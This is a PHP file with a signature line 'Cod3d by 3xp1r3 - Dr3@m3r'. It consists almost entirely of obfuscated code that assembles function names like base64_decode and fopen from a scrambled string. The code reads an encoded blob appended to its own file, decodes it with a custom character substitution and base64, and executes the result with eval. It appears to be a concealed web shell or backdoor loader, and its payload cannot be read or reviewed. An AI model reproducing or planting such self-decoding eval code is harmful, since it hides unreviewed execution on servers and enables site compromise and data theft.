<?php /*   Cod3d by 3xp1r3 - Dr3@m3r~1986  */$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$O0O000O00=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};$O0O000O0O=$O0O000O00.$OOO000000{11};$O0O000O00=$O0O000O00.$OOO000000{3};$O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};$OOO0O0O00=__FILE__;$OO00O0000=0x1da0c;eval($OOO0000O0('JE8wMDBPME8wMD0kT09PMDAwTzAwKCRPT08wTzBPMDAsJ3JiJyk7JE8wTzAwT08wMCgkTzAwME8wTzAwLDB4NDlmKTskT08wME8wME8wPSRPT08wMDAwTzAoJE9PTzAwMDAwTygkTzBPMDBPTzAwKCRPMDAwTzBPMDAsMHgxN2MpLCdFbnRlcnlvdXdraFJIWUtOV09VVEFhQmJDY0RkRmZHZ0lpSmpMbE1tUHBRcVNzVnZYeFp6MDEyMzQ1Njc4OSsvPScsJ0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky8nKSk7ZXZhbCgkT08wME8wME8wKTs='));return;?>~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